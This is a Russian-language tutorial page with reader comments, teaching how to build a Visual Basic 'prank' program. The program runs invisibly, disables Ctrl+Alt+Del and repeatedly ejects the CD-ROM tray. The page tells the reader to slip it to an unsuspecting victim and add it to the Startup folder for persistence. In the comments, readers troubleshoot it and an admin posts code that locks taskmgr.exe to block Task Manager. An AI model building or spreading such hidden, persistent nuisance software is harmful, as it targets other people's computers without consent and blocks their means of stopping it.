Программирование
Веб программирование

Делаем прикол с CD - ROM`om

 
 

Подключи компонент CompControl, на форму закинь компонент CompComtrol(он находится на Панели инструментов), Timer, со свойством Interval равным 3000, и у формы свойство Visible, должно быть равным False(это чтобы форму не было видно(Visible означает видимость)). Теперь код:

Private Sub Form_Load() ' При загрузки формы 
Form1.Visible = False ' Программа становится не видимой 
Timer1.Interval = 3000 ' Timer каждые 3 сек. будет обновляться
CompControl1.ALT_CTRL_DEL_Disabled ' блокируем 3 волшебные клавиши
End Sub

Private Sub Timer1_Timer()
CompControl1.OpenCDROM ' CD - ROM будет открываться каждые 3 сек.
End Sub

Все программа готова! Теперь осталось ее откомпилировать, и подсунуть какому - нибуть ламеру. Чтобы на вражеском компе она загружалась каждый раз при включении компа, тебе надо поместить ее в Автозагрузку. (Нажми на кнопку Пуск правой кнопкой, и кликни на открыть. Дальше входишь в программы, Автозагрузка. Теперь переносишь туда свою программу (ее ярлык)(C:WINDOWSГлавное менюПрограммыАвтозагрузка)). Исходник программы можешь скачать отсюда


Есть вопросы? Спроси на нашем форуме!!
User1 [25.08.2010 15:30]

Прикольно!!!

YYY [17.10.2010 12:22]

3 волшебные клавиши почему то блокироваться не хотят(((

Respect [06.01.2011 15:06]

У меня тоже не хотят где взять CompComtrol ????
я не нашёл её на панели инструментов!!! скинте кто нидь скриншот плиз!

Гость [24.03.2011 18:52]

А куда его кинуть???

Медвед [07.04.2011 19:36]

1.Качаем компонент CompControl из инета)))).
2.Заходим в VB
3.Кликаем на поле с инструментами правой кнопкой. Выбираем ,,Components,,.
4.Нажимаем ,,Browse,, и находим компонент CompControl
5.Он появляется у вас на панели инструментов.

Андрей [11.04.2011 19:29]

сдром прост открываетсо и всё,задвигадь сасмому надо, как сделать,что бы он туда-сюда ездил??

Вероничка [19.05.2011 15:41]

на html получиться так.одногруппник так делал.но не знаю как))

Вероничка [19.05.2011 15:43]

Private Sub FormLoad() ' При загрузки формы
Timer2.Interval = 4000 ' Timer каждые 4 сек. будет обновляться
End Sub

Private Sub Timer2
Timer()
CompControl2.CloseCDROM ' CD - ROM будет закрываться
End Sub
)))
наверно так...пробуй!

Гость [06.08.2011 08:03]

Клавиши не блокаются

шутиха [15.09.2011 14:46]

Откомпилированная программа не будет работать на чужом компе , без компонента CompControl так что файлы CompControls.osx и CompControls.osa должны находиться в одной папке с откомпилированной прогой! ......грустно как-то , как после этого верить людям!

Валера =)) [17.05.2012 17:01]

Есть проблемка прога не будет работать на другом компе, потому что скорее всего на нем нету того самого компонента CompControl. Но есле попробовать впарить етот файлик своей жертве вместе с програмой то все получится.

00 [14.06.2012 10:45]

интервал таймера более 1 секунды? не не видел

nik12345 [17.02.2013 09:33]

3 волшебные клавиши не хотят блокироваться

admin1310 [17.02.2013 14:39]

Есть хороший способ заблокировать диспечер)
не блокируя кливиши
Open "C:windowssystem32taskmgr.exe" For Binary Lock Read Write As #1

geranazavr555100 [17.02.2013 19:18]

Админ, а как потом разблокировать в программе, если надо?

alex13sh300 [18.02.2013 07:29]

вроде просто close 1

короче проверь на какой нить другой программой , путь другой поставь и проверь

то есть при блоке попробуй запустить)

CeazeR [09.03.2013 23:32]

почему у меня не работает?...здалел как сказано...скачал исходник тоже не работает!!



Оставлять комментарии можно только зарегистрированным




Предупреждение: Вся информация представлена исключительно в образовательных целях.
Ни авторы, ни администрация не несут ответственности в случае ее использования в противозаконных целях.